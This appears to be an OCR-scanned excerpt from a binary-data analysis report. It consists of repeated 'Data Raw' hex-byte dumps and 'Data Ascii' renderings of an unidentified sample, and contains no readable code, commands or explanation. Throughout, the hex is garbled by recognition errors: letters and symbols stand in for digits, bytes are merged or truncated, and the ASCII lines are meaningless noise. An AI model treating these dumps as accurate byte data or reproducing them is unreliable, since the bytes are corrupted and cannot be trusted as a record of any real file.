72 63 dc 32 03 89 fd 64 63 3d 9d c6 7a 5f 56 3f b2 46 cO Ob fe 35 bf Oe ce 43 e5 3d 60 1d 9e 2c 78 4a af 40 ea 4d 28 9e
a8 bb 72 f0 23 6¢ d6 a5 7d b5 65 93 c2 1b b8 43 7e be 4b 50
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dc=z_V?F5C="xJ@M(r#}eC~KP

Data Raw: 3c 06 eb 63 €9 34 2d da fd 86 2a ca e2 67 af 53 27 12 3b 75 93 ff 4f aa a9 7e 04 78 65 9a 5a 27 47 54 c0 2c c8
f1 ae 10 68 fe 50 63 4d Oe 58 3a f1 8e ab fd cd 7 73 02 ff 9c d5 7f 30 7f 79 64 b9 5e f2 e7 ab 26 37 cb 62 c6 66 cc 55 4f 3f
d4 46 25 68 99 67 8a ba 74 21 48 7f 3e 3b ec 22 36 6a 83 0f f7 66 58 3b eb 57 05 95 d0 0Of 1c ea 4b 06 58 da c7 f8 c4 12
a3 c8 a8 ec 4c fe c4 86 75 6d e3 f1 9b ba 47 cd 95 c9 f0 f6 48 19 9f dc 44 6d 5f bd 30 12 29 62 15 31 09 1c 8d 7a 7d 1c 4c
ef 4b be cd f6 b6 12 0d df af 47 cb 10 e9 fc 32 7e dc bf a4 32 b6 c5 71 d5 f7 28 48 06 ad 1f c2 46 b3 07 86 a8 02 b0 60 14
05 55 a0 f9 5e 1e db 9b ad e6 d8 08 88 d1 fe c5 e3 57 Ob 9e 8d 22 59 b5 34 e6 c6 86 06 ef 1d 1c 5f dO d9 93 ec 87 e9 4b
6b 4b d3 8f 77 b4 f5 88 f9 c2 7f ec 36 31
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kKw61

Data Raw: 81 13 ¢9 7d 2c 04 0a 90 24 c8 61 1b 31 fd 1d 50 c9 8c b7 ec 3b e7 7a ab f5 25 97 e5 87 09 29 c4 77 c0 d7 39
db d8 9f 15 f2 2a fc f9 60 85 62 5a cO be 83 37 13 51 Ob 9b 01 5e a3 c0 ed a3 de 9f 09 17 77 81 33 42 06 1f 76 cc 60 46
1a 2885 ed 85 1c 33 72 fc 4d 7d 1b 09 aa 57 71 31 57 Oc bf a4 8e bf 94 b5 64 37 ff 76 62 93 2¢ 26 b6 52 9a 62 77 19 48
45 ff a2 37 88 3d f7 43 6d cb 33 e4 f1 d3 a4 23 28 ee ¢4 78 76 26 03 9d d9 74 b9 bb 12 87 d2 6e b8 5e c5 e9 e3 el 76 31
8273 e6 f2 64 64 9d 70 80 66 dc 3a 82 d6 19 31 39 d3 47 a5 70 Oe 80 d1 a0 a9 dd f2 ba 7d 11 f7 e7 88 0f e4 2c ac b9 26
e7 d4 Oe e6 8d 22 67 85 f5 eb 17 44 91 14 b0 51 c8 16 1f 06 68 f3 36 0d 84 4d 07 86 c1 ee 6b cb be c5 fd 92 b5 e2 7a 2e
8a 4c b0 cf bl a2 67 16 1d fd 4c 19 f2 e3 c2 fb d5 2a 6f
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Data Raw: 1e b0 75 05 39 03 d7 0a 82 7f 2f 1b 2d 2c d1 88 9e 24 8d 4b 24 42 24 65 60 62 8f e2 5a 26 92 3a 75 4b 5¢ 9f
71 0e ad ac 27 b3 72 2a ed ab ef 54 ec 59 a6 36 5d 13 ae 92 7d dc 91 58 2b 2c 59 51 de 20 3c 39 47 5f 86 a9 6¢ 7f 6e 7c
€9 5b 32 3e 80 ee 4f 8b 56 af 73 8 3d 86 €8 36 dd 21 01 72 e0 33 71 43 0f 6d 69 5f 52 d2 d2 d5 c6 6f 4c 03 4c 58 c6 1d
56 70 7c 53 89 al 7b de 4a 74 87 bb ae b3 99 ba 9a 0d 74 e8 4c c1 b6 77 a0 de 51 57 de 26 7b 02 3d 65 c4 22 28 34 e8
16 fa a2 74 Oe 7a 31 5¢ 72 7d 60 bb 00 8e cd d8 98 03 da 33 66 86 27 6d 4f 74 e5 c1 6f e0 ad f1 3a 97 f2 d6 e5 8e 87 f1
64 63 3a 00 2e 55 78 67 2d 9a 3d 41 01 29 b2 a0 22 al b9 fc ac 7d 2c 87 28 61 d3 a9 61 1a 44 1d 14 bl e9 19 d0 26 68
fe ad 76 6b 08 b3 a6 8b b3 4e 6f 92 7e 36 cb e3 c6 d8 7c 63 4b
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Data

Data Raw: eb ff 8c 1f dO 8d 13 aa 53 2d 1e 26 7e bf fc b1l ac 92 8e 07 2f 29 82 51 23 2f 1d 3f 2d ee f9 a0 10 68 fe 56 63
4d Oe 7b 13 88 eb 48 eb e3 f5 63 49 a6 9c fd 7b 5f e3 7f 64 bf 67 98 ed 80 37 21 d6 1a 4c 67 e0 5d 48 3d df 41 34 8f 66
4a a4 bb 7d 5a 01 67 c0 3e c3 5b 40 68 a8 e8 eb 77 49 54 94 52 2f bd c¢8 07 61 2a 50 8 5d dc dO fa bf 4f 93 ca ac c7 37
a3 c4 {7 71 72 fc 8d 46 fe 23 cc 92 d4 12 fc 64 1c 9a 29 45 46 69 41 4a 70 2b 75 1a 33 0d 7f 2f 7b 51 1a 08 71 60 5d c9
a5 02 13 0d d1 93 7f a6 67 94 34 38 60 d3 95 a3 28 48 d7 6d ca f5 49 06 06 ad 69 c1 3d fb 05 91 21 04 cb 61 16 05 45 ae
95 2e 6d 36 91 b6 eb 7a 09 9a 07 1b €9 el 49 2a 9e 8a 2e 60 4c 35 d4 c9 84 7d d3 1d 1c 4a d4 al 61 c3 87 €3 56 6b 46
c5 8b 65 4f fa a0 88 3b 74 ec 37 8¢ 39 8¢ 96 86 9d {7 bd

Data Ascii: S-&~/)Q#/?-hVcM{Hcl{_dg7!Lg]H=A4fJ}Zg>[@hwITR/a*P]O7qrF#d)EFiAJp+u3/{Qq]g48 (Hmli=!aE.m
6zI*."L5}JaVkFeO;t79

Data Raw: 1e 93 b4 d6 1b 31 f9 20 50 b2 3b a4 ec 3f cf bc a8 f5 2f e6 53 87 09 30 c1 61 c3 ac 8f db d8 8f 17 89 9d df fb
64 ad c0 59 c0 b4 af 32 9d e6 6b 22 01 5f a5 c2 ef d8 73 9f 09 13 Oe 17 32 42 69 60 ce cc 7c 42 30 28 85 fe b5 1e 28 7f f5
4d 7b 7a 09 aa 33 67 22 42 37 84 f4 8a aa c0 al 74 79 fc 8c 75 ed 2d 21 d9 bb 8e 69 71 23 df 4a f9 80 c0 86 2e 5 6e 7e
d9 04 69 a7 ff aa 2b 59 5f d3 f5 28 Oe 95 9d ca 6d b6 bb 00 98 c9 7 b2 b3 ab fd f6 €3 07 94 97 65 f1 98 5e 2c 8c 6f b9 68
47 29 8e cc 03 35 b0 89 56 al 6b €3 97 ec b8 bd b9 4d 27 6¢ 03 b0 de 88 Of e4 58 b8 bc 26 fc c6 28 05 8a 1f 62 8a 6b b5
17 55 94 1e 59 41 f3 06 06 27 35 8 32 66 2b 5d 03 90 50 b4 47 cd b3 8 a5 98 70 f5 6e 2e 9a 42 a9 bf 07 bc c2 19 32 Oc
fc 18 f2 f6 d8 65 8b 2a 7e 61 d1 3156 71 fd 7c
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Data Raw: 9b 84 5a 3a ¢5 29 00 c4 Oa b4 f9 cd 4a a4 6a d8 70 f1 72 89 03 7a 24 94 1c ea 48 92 bb 70 1f a6 9e c8 ba 49
bd ff 91 b5 6e fd 52 a6 a7 5¢ d8 4c 92 51 df 88 4f Oc 05 4b 72 10 2b c2 3e 72 6e 8d a2 50 59 fe 5a 36 4a 30 3c 82 29 58
a259 a4 7f ef cb 81 9¢c 3a cc 25 75 71 €9 2a al 95 be 6d 69 57 54 d5 e8 04 ee a0 4a 00 4e 5¢ 9d 1le 7e d5 13 84 83 a6
05 f4 48 7c f3 74 a8 dc 4b b7 93 19 0a f2 68 c2 8d 63 21 d4 8¢ 85 da 20 al 19 2c fO ce Ob 34 ce fa c0 77 0d 7e d3 c9 60
48 a2 f7 77 2a 1f 97 d2 f8 9d 09 2 e6 6e 5b 80 76 c2 73 ed d6 ff €5 8b €9 3a 96 64 f4 29 1c 87 fb c6 7a 2a 86 3e 7 22 47
28 9b 9f d0 03 ec 37 f0 80 b0 b9 fc 2b e6 53 93 20 79 e0 al 47 Oe 5d 03 09 fa c7 11 f1 81 79 f6 3e 75 a4 66 af ab 01 35
1b 78 al 72 2c de f8 e2 e3 4b fa 5a 07 cf 7a 1c Oe cb 49
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Data Raw: af 53 29 10 21 66 92 e7 a0 ad 9c 8e 07 2f 2f b0 40 30 2e Ob dO 2a dd 6 49 1a 44 f6 4c €6 9f 22 79 3c a2 13

ab fd cf ea 7e 6a a2 9c c4 7d 40 5 87 65 93 7d 8c f2 d6 fa 21 d1 09 ad 71 df 59 50 27 d9 59 2b 8f 66 4a ad ae 62 27 dc 7f
3e 3b f0 53 78 6¢ 83 1la ef 12 70 55 b8 46 07 e4 10 04 1c €9 47 85 85 f6 dO fe a0 55 b0 ce ac fe 31 bc ca 78 70 5e eb 8f
40 ca 37 df 93 c3 fd fb 57 0d 7c 23 69 4c 6e bb 3f €8 29 62 10 20 0f 78 ¢5 69 7b 18 32 75 54 b2 35 df 6 1c Of ae 6b 5d
a4 60 c1 2f 38 60 d1 a0 ae 3b 4e c4 4c c9 e3 ad 07 2a ae Oc d2 3b ea 16 80 b3 3d 35 60 38 0d 68 bd ae 06 e0 24 6e 9c
ed d8 0f 84 1f fa €9 14 4f 00 9e 8a 3d 50 4b 37 b1 15 84 7d a5 31 17 59 b9 46 ec ed 81 3e b5 61 40 d3 8a 1a 9d f4 a4 ff f9
5d ee 2753 e882 93 aa 7b e2 c0 65 19 7a c7 e3 0f d1
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Data Raw: 23 41 a9 3b a6 f7 20 d5 10 ab d9 21 e8 42 8c 21 eb c0 61 c8 bf 9f c4 ¢3 88 Oc 89 8c e7 e6 5a 53 f6 77 cc b7 d1
34122177 22 0b 41 98 d1 f4 d8 76 84 16 2e al 14 1e 4d Oa 4a 84 ce 60 44 5f 6b 84 fe b3 01 0d 5c e6 4d 6¢ 65 16 a0 b8
66 Oe 5e 25 81 21 8a 84 ad 5b 9f d7 ed 83 70 a4 23 35 d6 f5 ac 9c 72 1d d7 7c 9f 56 d7 79 31 c4 50 67 cf 3f 01 ef cc 54
20 7f 48 d5 7d 5a f5 95 9c df 47 e7 a9 16 87 dc 5e b0 bb c4 d4 ec fc 29 79 83 5f f6 a4 b0 64 9d 70 aa 6d d6 2b 8¢ b2 dd
22 3d d9 5b be 4f e3 9a fd bf b0 b9 54 44 7c¢ 39 d2 73 98 04 c6 5c be bd 2c fa cf Oc Ob 97 Oe 75 86 f9 f1 €9 54 b9 03 4c 41
ef 38 df 2b a8 e3 36 07 9b 43 10 81 3f fe 5¢ d2 96 17 b0 a3 ac f7 71 25 58 40 b7 2e 80 9d 76 1f 35 78 53 39 Oc fd e3 fd f9
ef 7f 60 c8 24 56 6d fa 6d 82 c4 51 db {7 9f 31
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Data Raw: dc 19 9b e3 dc 47 f2 94 3f 7d f3 65 ae c1 bc 25 92 30 e6 44 90 bf 6a d8 be 88 27 be 72 61 ec 53 69 5b ee 59
a7 a5 53 cc a3 9c 6¢ d8 89 4d 02 2d ac 79 Of 2a 3f 2e 52 03 6a a6 68 76 38 89 c8 5b 34 25 a4 f1 cb a6 51 f5 e6 35 c7 86
eb 27 c0 4a a3 66 e0 39 14 8c 05 6¢ 63 75 bf d1 fa 02 d5 7b 5b 14 59 60 18 35 ae 76 13 82 9a b3 76 94 6b 7c €8 62 ae
b3 9397 d3 48 78 e3 6¢ c4 b6 77 20 24 b3 cd f6 10 7b Oa 21 43 c8 da ae 3b ed 16 fb 31 6d c2 da 20 4f 75 19 54 2a le bf
c6 f8 9d 23 9a e8 44 95 87 6d 45 5¢ 22 d7 fe fc 87 d0 7d 82 63 da 57 d6 87 f1 6e 47 30 80 3c 6a 60 41 30 b2 c4 c1 Ob f2
20 a7 ff Ob b1 e5 3d 7b 06 82 33 7e 5b 98 b6 14 4c 02 96 ac 1a 89 f0 23 68 d6 00 7c b5 65 93 91 1a b8 43 a5 23 73 3f d4
el c8 f1 dc 66 4b 3e a2 6e 91 13 ae 9c 6a 06 05 71 a2 b4 d6
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Data Raw: b5 b3 ab 83 68 8b 04 2b 9a 5b 30 23 1a ca 3a d3 fc 15 0a 63 ee 58 11 1d 22 79 39 28 d1 a0 ee c5 e4 7c 6d b0
8458 29 5f €3 78 77 b2 67 83 fO bc b0 30 dc 1a a4 fa dd 52 47 1e 43 46 22 7b 41 77 ab ba €6 76 19 6e 32 29 75 71 7a 6a
8301 39 00 8e 54 8f 7e 11 9f ca Oe 34 4d 50 8 53 82 dc fa bf 47 b0 cf bd 8 26 a4 4a 31 69 a8 fb 07 3e 06 39 cc 9f dO e4
ec 40 0aaa 71 47 41 79 a8 c6 5b 29 62 10 20 06 76 dd 6¢ 6¢ 1d Ob 62 4b be c1 7c db 1f 1e de a8 56 b0 70 fe 71 6a 60
d7 be b0 25 59 c9 4b d8 69 42 Ob 2e 35 1b c1 37 fb 0a 90 3¢ 06 c0 70 1f 19 d9 90 87 2a le d1 82 b3 99 d4 0Of 9f 34 f2 37
ed 5e 08 b2 8d 2c 58 24 68 ca c9 8e al a8 Oc 1b 73 2b b6 ec eb 8c ea 27 b0 41 d3 82 72 43 e5 ad ea d2 1b 3d 31 2e 35
8e 4d a2 68 fe 91 bb 08 73 ac bc 74 05 33 d7 ¢9 bl 95 51 24
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hs+'ArC=1.5Mhst3Q$

Data Raw: a0 37 ab f5 25 fb 57 91 18 29 4f d6 ad 76 8e db d2 88 32 96 dd 71 d6 64 ad f6 48 el a5 a4 2d b5 f7 57 34 1e
le 8f 34 ef d8 6d ec da 12 5f 1f 21 64 1d 44 df ed Of 93 30 28 8f ed 92 Of 14 67 35 4c 7d 74 21 €3 44 67 24 7b ce 91 a5 88
do de a4 60 22 el a0 64 ae 25 35 e5 85 79 63 73 3b 00 48 ee 8e 04 81 3f d5 2c 21 cf 2e 10 2c 8 a0 ff 4a 5f ce a6 67 09
9f 42 c8 5b 8f 85 16 87 c9 79 8a 88 ea c5 f7 €9 d3 87 85 59 e4 a6 34 19 9d 7a aa 7c dd 3a 3c dd 05 22 1c d3 56 al bf fO
81 fd bf ab a6 40 ba 7d 15 df 73 89 0f ee c0 bf bd 26 d7 d0 19 18 94 0f 64 9d f7 ef 17 55 95 0d 4e 50 e6 10 19 2a af eb 25
09 71 5¢ 03 9a c3 ed 47 cd b5 e9 bl 8f a6 e6 7a 3f 8¢ 53 bc 31 1a 8d 6d 1f Ob 63 4¢ 19 2b ff cf €8 dd 2a 7e 60 c2 26 47
66 eb 63 ed 1c 57 db fd 8c d7 d3 8d 13 5e 50 2d Of

Data Ascii: 7%W)Ov2qdH-W44m_!dDO(g5L}t!Dg${ "d%5ycs;H?,!.,.J_gB[yY4z|:<"V@}s&JUNP*%q\Gz?S1mcL+*~"&Gfc
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Data Raw: c6 al 2d b5 6f ba 1d Ob b3 51 69 a8 d1 2e df fO fe 79 0d 66 4b Oc 7a 7c 8b 05 db dd 3a 06 0Of 1f 31 a4 dd 08 3b
€8 15 46 a6 20 3a be 3f cf ef b9 f9 3e e6 45 90 95 3¢ cd 76 d4 30 9e d7 cO 8c 8b 98 91 e5 ef 8 be fb 41 d6 28 90 3e 8a ce
ea 22 01 54 81 dd e2 cb 68 9f 18 1c 40 04 cc 43 20 71 df c5 76 6a f6 29 85 f4 39 4f 33 4f fc 5e 78 61 1b b9 49 67 33 5¢ 2f
6e a4 a2 c2 80 74 e2 28 f2 89 4b ab 23 24 c¢7 c2 cf 60 73 37 ¢5 c9 f8 a8 28 87 3d f9 52 76 d9 29 32 el ff aa 2b f1 49 ce 6f
6d 2a 19 cd d9 7e a6 0a 07 8d db 7b a4 02 d5 cf ee f5 81 d6 82 73 e3 2e 64 6f 87 65 b8 fO 8¢ 3a 88 dc a7 33 37 c0 5d b0
61 e4 95 e6 23 f9 a6 40 bb 6e 19 ce 7d 9f 18 72 26 b3 aa 30 6a c1 15 00 9b 92 75 91 ff f9 8b 44 99 17 58 cc 5 1c Oe 02
34 e9 25 03 a2 40 10 95 3f fe 48 d1 47 e8 9d
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Data

Data Raw: 65 2f 1a 89 61 40 9b 6 fb d5 7e 83 e0 2e 3f 88 80 a8 0a 23 bc bc 13 69 ¢6 f0 71 14 3f 64 14 9a 95 5b 35 3e 30
43 06 09 94 f3 dc 4f 3c 2d f4 73 f1 7e a9 ea 15 76 92 3a ff 52 85 al 75 61 46 86 36 b1 76 bc ea 82 f5 70 f8 48 a2 38 e0 al
68 92 7d d6 94 82 1d 14 5f 16 €3 21 3c 3557 03 4b a6 68 76 dd 7b c3 52 18 2b 8d 90 16 a6 51 bf a5 32 ef cf e8 36 c6 Of
6e 66 fc 33 7b bf 04 20 69 47 23 d1 f4 04 c6 6f 4a 02 48 7e 10 75 20 76 19 84 89 al 71 e3 78 78 €8 e3 ae b3 93 3e 93 13
4a f7 67 b7 5f 76 20 de 80 7 34 27 7b 00 26 fd d7 08 4c 46 ed 16 fO 4d af d3 c8 3b 4f 74 06 a3 2b 1e b5 d5 fd 8c 06 cb b5
03 8e 87 6d 45 65 e8 ce 91 21 82 f8 38 91 66 c4 57 c4 86 f1 6e 63 21 fe 6a 7b 73 4d 3b 9e 2c c4 64 1f 32 a0 28 b2 b6 4
3a 7b 06 85 31 7c cc 07 20 ce 4d 04 8f a0 19 Ob

Data Ascii: e/a@~.?#iq?d[5>0CO<-s~v:RuaF6vpH8h}_!<5WKhv{R+Q26nf3{ iG#oJH~u vaxx>Jg_v 4{&LFM;Ot+mEe!
8fWnc!j{sM;,d2(:{1| M

Data Raw: 8e 6d Oe 5a 72 4d 19 f8 f1 dd eb d2 2e 68 48 03 26 47 60 f8 66 fc 19 47 25 fe 87 3b fc 9a 3b 52 51 2d 09 21 70
18 61 b1 ab 84 58 cd 02 2b 90 29 cc 29 Ob cb 56 ea 3e b6 1b 62 fc 21 cf 4c 22 73 32 83 be c6 fd c9 f1 76 7f 2a 2b c3 53
9b e3 79 62 ac 73 9f e3 bd d2 22 dd 05 9e 71 e4 a2 52 36 d9 57 27 fd el 66 a6 ad 5e 91 07 7f 34 4c 00 58 6b 60 f9 02 c3
Oc 8e 47 a4 5f 05 0d ca 04 1c 61 50 f8 48 f4 d3 84 d5 5¢ a3 cc c3 fe 36 a3 c2 95 74 63 e8 8d 65 13 39 cc 9f dO e8 ec 4c
36 16 23 45 4b 72 bd 51 d1 25 62 11 28 19 60 c0 7d 6b 66 4a 73 4b ba 69 cf cd 04 1a fd 2a 5c a4 6e 4b ed 3f 78 d3 31 14
00 db c55d ¢5 57 42 01 1f a9 b9 dO 3a 85 15 87 ac 2c ¢7 62 6a 1e 42 b8 9c 54 70 db 91 b2 e8 d1 1e 9b 27 f7 67 56 59 28
5b 8a 3d 56 58 33 db cf 92 83 a2 17 1a 77 c1 9e 11 ef

Data Ascii: mZrM.hH&G fG%;;RQ-!paX+))V>bIL"s2v*+Sybs"qR6W'fM4LXk G_aPH\6tceIL6#EKrQ%b (" kfIsKi*\nK?x
1]WB:,bjBTp'gVY([=VX3w

Data Raw: 32 47 4b 78 a7 64 b2 d3 e9 e8 f4 4f 62 5a 09 ce 7a Oc de c1 51 6a a4 1le 1a 87 al fe €9 30 f9 15 5a a6 13 b7
ef 3f c9 f9 27 f2 2f ea 52 94 0d 3c ¢5 77 c6 Oe 9e df cc 8f 3f 7b 9c fc f3 6¢ b9 df 5a c3 b4 87 25 10 el 76 22 00 4d a3 d3
eb ce 70 13 cb 13 5f 14 90 53 08 76 da e4 92 43 30 22 8d ea 9d 1c 30 4f fb 5b f0 79 09 aa 47 73 36 47 1c 08 a5 8e b5 80
8c 83 2af2 8e 7a 32 24 24 cd eb 89 66 62 35 ¢8 46 5d b9 2¢ 91 38 7f 12 7c cf 2f b8 el fb b2 23 dd ef 48 29 72 Oe 94 3e
c8 7a b4 ad 07 82 d7 7e ba 2d 96 c5 {7 e2 1e 81 93 75 f4 9b €9 74 9b 6d be e0 cc 3c 90 cb 99 33 3b fb ce al 6a fa 90 fb
b8 3b 8a 61 ab 78 03 45 59 98 Of ee 3d 6f b1 26 f6 cb 31 Oc 8c Oe 6e b5 46 ef 17 5f e1 01 4e 50 ff ee 12 2a a8 9d 29 09
84 47 08 b2 6e ef 47 c7 be 86 78 8e a6 ec 70 el 9e 76
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nGxpv

Data Raw: 7e 94 c9 75 ec 37 31 34 91 98 ae 68 fc a2 b3 e7 7b ef f1 65 00 3a 02 d6 4d 04 3e 38 3a 28 2a ce 18 87 2 cd
5b 2f 5d 3b 8c f0 58 b7 ee 15 39 93 3a f3 43 89 df 68 Of ad 81 59 48 64 bb f1 9a fc 67 e5 59 b7 bd 4d 30 b3 bf 75 e4 14 5¢
07 05 41 6a 04 20 2d 34 41 76 58 a6 44 70 10 af d1 1b 60 d3 7b 00 54 bd 42 be 79 24 cc 99 e3 c8 cd 09 7a 60 8f 28 7a
bd 02 7b b3 4a 93 5¢ d5 04 c6 6e 46 1f 44 63 1b 1d 47 7d Oc aa 77 a0 5d ed 41 64 3e 61 a7 a4 45 26 45 10 d5 54 52 8a
4b 88 df cb a3 87 d5 26 6a 01 34 c0 21 0d 0f 32 e4 01 2c 25 11 ce ¢9 31 5a 75 1a 6a 2b 1e b9 a9 Oc 9c 03 d0 a4 b6 34 73
6c 4f 7e 82 cd ff f6 85 2e 3f 9f 56 cf 33 1c 96 fa 7b 2f dc 90 14 77 7a 56 21 a4 70 3c f4 Ob 2c e5 31 aa bl f4 36 75 23 6d
2154 4f b3 c1 a3 45 1c 53 71 d4 15 ef 01 7b f5 2d 6d be
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V3{/wzV!p<,16u#m!TOESq{-m

Data Raw: f2 f8 e5 f3 el 29 7e d8 c3 26 47 f0 eb 63 fc 6f 30 db fd 86 30 a3 ec 13 af 59 27 0d 4b 77 95 e7 b5 b8 82 61 01
1c 1b a9 4b 2b 00 08 c2 2c c4 94 d5 1b 68 f3 68 a5 6e 23 79 38 9b c¢7 b3 ce 94 f7 Ob 7c a5 9c d1 68 56 f5 6a 6¢ 94 68 of
ef ba 24 b0 dc Ob 9a 62 cf 5f 56 3f 53 69 22 71 66 09 51 ad 76 50 20 6e 36 28 39 4a 63 7b 8b 1a e0 82 39 66 4e 5e 2d 9a
€9 04 laeb 3f9b 59 f6 da d2 9c 5¢c a3 c2 ¢3 8d 37 a3 ce a0 77 64 eb f4 b5 d4 38 c6 fa 3a ed fd 42 38 ba e2 45 41 7f ae
4c 46 1a 3e 13 48 0f 66 d1 7e 6e 13 35 60 41 95 eb cf c1 02 07 44 aa 59 a2 4c ed ff 38 66 c6 bb 2f 07 48 c4 5¢ a0 02 52
06 Oc 8b 0a cb 2a 3c 14 8c bd 20 da 6a 9a b8 71 60 9e 02 18 d8 91 b0 eb b7 6¢ 9f 2f f5 c1 c2 4f 00 94 e5 5f 50 4b 3f ec cf
92 7b ce e5 1d 5b dc d9 15 ec 87 €9 72 4a 1f c2 8f
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jq’lIO_PK?{[rJ

Data Raw: d4 e3 ea e4 58 1b 42 Oc d8 69 82 1d ba 57 6a 06 Ob 63 99 b4 d6 1f 39 d3 00 59 al 3e b7 fd 3a d6 10 ab d9 2a
fc 5e 9d 1a 28 ¢1 70 ¢7 b4 71 da f4 95 14 9e 47 eb 2f e9 82 f7 5b c1 b8 98 21 98 €6 67 27 1b a0 a6 ee fe da 1c 95 08 13
5b 17 49 4b 0d 62 ca 16 6a 59 23 2d 85 ef b0 00 cd 4e d1 5f 7f 7c 72 a3 47 67 26 50 e2 ed ac 8f bf 90 bb 69 3b {7 88 72
ba 3e da cc c6 8d 60 08 39 df 44 fb aa 53 8f 2f f3 47 74 d9 2d 32 2e fe aa 2b 4d 4b c1 78 63 Ob 83 62 d8 52 a4 bf 05 82
¢3 7b a6 bf cf 3b 6 cf Of ac 87 4b 91 72 8a 9a 94 79 97 a2 23 ¢5 77 d5 2f 22 3d c0 66 ad 6a 59 82 fd ae 33 a6 40 ab 6b
06 d2 49 00 Oc ee 37 bf ac 2b €9 ¢4 e7 19 a0 00 75 9b f1 75 3f 44 95 0d 44 5c fb 05 Oa 27 a8 f8 28 16 8f a2 02 b6 39 c4
73 d2 b5 fa b 8f b7 eb 64 c1 8f 7 b5 09 83 8d 6d 1f 3b
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Data Raw: 38 9d 9a 50 78 db ba ad 1f 50 dc eb 67 02 39 1a c6 82 6b 50 08 36 56 2e d3 08 9e c0 bf 4a 24 42 36 61 f6 74
b0 ee 60 da 93 16 fe 5b Oc 9f 70 Oe ac 94 30 a0 76 bc fb 94 €3 69 10 58 8a 91 46 c8 aa 95 6a 51 98 5¢ 07 04 49 7d le 24
2a 28 d2 3d a6 a7 69 de 10 al dd 73 Ob 2c 84 f5 63 a7 53 b5 73 a9 d9 95 ef 36 dd 22 76 99 el 1f 71 bf 2c 10 68 5d 4f db
e3 17 c1 6f 5b 07 5e 8e 11 31 55 61 00 83 89 b0 76 €7 42 82 e9 4e ac 98 96 8f 4a ed a4 1c 6a b0 ba 77 20 cf a6 de dc Oe
6c Oa 2b fe dd 24 20 16 ed 1c 87 2c 7f d3 cc 1b 5¢ 72 75 6¢ 1a 1a bf 9b f8 9d 03 40 b3 6¢ 4a 84 16 41 75 ed d2 fa 99 5f f9
32 8a61a7 36 1d 8756104 f490 38 71 71 3c 26 9b 3d c5 1c 9b e4 al 22 ab b3 9e 33 6b 02 97 38 17 9a b1 4f 1e 4e 7f
8b aa c7 15 9f c8 69 fe 27 7f a3 6¢ 35 08 75 62 48 78

Data Ascii: 8PxPg9kP6V.J$B6at [pOviXFjQ\I}$*(=is,cSs6"vq,h]Oo[*1UavBNJIjw [+$ \rul@IJAu_2a6a8qq<&="3k8ON:i'|5ub
Hx

Data Raw: 60 c2 26 d9 66 eb 72 fb 10 69 72 fd 8¢ 3c d0 85 0d 51 52 01 01 4e 4d 95 e7 b5 bc ad 7c 04 03 21 85 53 2f 28
03 db d2 c3 d7 b0 33 20 f8 4e 9b 57 2e 79 30 97 3e aa d1 d8 8b 48 78 a4 98 fd 42 5f e3 73 5d ca 76 8e e6 b5 20 21 d9 1la
4c 67 €0 5d 48 3a df 4e 3e 8f 66 4a ae 84 3f 5b 06 79 35 22 €3 59 63 73 7d Oa c5 17 f0 62 95 56 01 b7 8 06 1c eb 2e cf
58 f6 d4 d2 99 5¢ a3 c2 2c d7 36 a3 c0 9c 7d 72 e5 80 b3 d4 14 cb bd 89 ed fd 4e 02 8e 22 4d 59 81 be 67 50 01 6f 13 33
00 e7 e6 7b 7d 1c 3a 7f 4b b6 dd 20 cb 3f 0f c2 b5 5d ac 7b e0 02 39 4c d5 94 a6 10 1a 3b a2 30 f2 79 06 1d 9d 1f c1 b7
€9 07 86 33 2a ch 70 3c 05 40 b8 90 21 6d 04 90 b6 e7 d2 09 b7 24 fc €9 e7 31 36 9f 8a 39 78 47 36 ca cf ac a8 al 1d 16
34 35 b7 ec e7 81 cb 59 62 40 d5 f6 54 4b f4 a0 d3 db 77

Data Ascii: "&frir<QRNM|!S/(3 NW.y0>HxB_s]v !Lg]H:N>fJ?[y5"Ycs}bV.X\,6}N"MYgPo3{}:K ?}{9L;0y3*p<@!m
$169xG645Yb@TKwW

Data Raw: 4a db 6d 86 37 e3 51 6b Oc 27 52 90 b5 d0 33 12 f9 1f 58 dd d8 b6 ec 35 c8 c6 e7 f6 2f ec 7b c0 0a 2d c7 49 e0
ac 8f d1 fO d5 14 89 9b d4 da 64 ad fd 34 23 b5 81 38 9a ce 39 21 01 58 8f 85 ec d8 61 b7 2b 13 5f 1f 1a 12 0f 62 c8 e4
43 42 30 22 ea 1d b4 1e 39 48 d5 1c 7e 7e 0f 82 01 64 22 55 1c b2 a5 8e b5 bc 6 63 28 f4 a0 40 bf 23 2e a2 09 9b 62 79
36 6 17 fc a8 2e ae 69 f0 43 7a e7 Oc 1a fO f5 82 75 50 58 c2 50 51 Oe 95 96 b6 9d a6 a8 1c 80 eb 3f a0 a0 c2 ed b0 e0
0d 81 aa 51 e2 8¢ 7f 4d cb 79 a8 7a f5 19 88 dd 0Of 4d de d2 56 ab 6d d8 d6 fe ae ad 8e 07 b9 7d 13 f7 53 89 0f e4 1f e7
be 26 f0 f8 3a 18 8¢ 04 Ob 7e e7 ef 1d 52 bd 54 4d 50 e2 38 5e 29 a8 ef 0d 2b 84 5¢ 09 b2 65 ec 47 cb 91 ca b1 8f ac 89
99 3e 8e 59 bb 19 eb 8d 6d 19 Oc 24 4f 19 f4 d4 ed e8

Data Ascii: JIn7Qk'R3X5/{-1d4#89!Xa+_bCB0"9H~~d"Uc(@%#.by6.iICzuPXPQ?QMyzMVm}S& ~RTMP8")+\eG>Ym$O
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Data

Data Raw: bd 35 79 d4 f2 71 05 28 Oe de 8b 6b 50 08 39 03 29 €9 bd 6a 06 32 4c 4b 1c 2c 72 fb 5e bf eb 61 14 96 3a 27
40 81 b0 d5 Oe ad 96 34 93 36 ba fb 83 ef 07 fb 5b a6 bc 5d c9 dd cd 7d dc 95 4f 09 13 49 74 37 88 3d 3f 5e 7d a8 b6 65
€6 Oc ac el 60 34 2d 8e d2 4e 9e de b4 79 35 ce 5 3f 37 cc 23 7d 61 3e 21 5e 95 29 6¢ 69 57 56 d9 d2 2a c6 6f 40 dd 3b
7110 1d 47 70 17 eb 58 a0 71 fe 65 79 dO 06 af b3 93 c9 al 13 5b e9 7f c0 c8 45 20 d4 86 87 d9 58 49 Oa 2b fe cc 09 35
05 eb 79 28 23 7e d5 df eb 4f 7d 66 7e 12 2d be c6 f8 8c 05 cb ba 44 38 85 6d 49 1b 39 d7 fe f0 90 fc 23 86 72 d5 10 78
84 1 62 04 f6 90 38 7d 60 40 39 9c 2¢ ¢8 23 91 30 a0 24 ce 65 e4 3d 6¢ 11 96 31 7d 6a d6 4c 14 4a 6b 93 a9 c7 1b el 26
4099 2e 7c b3 00 ad bd 1a b2 29 54 d5 65 b2 fb €9 8 f4

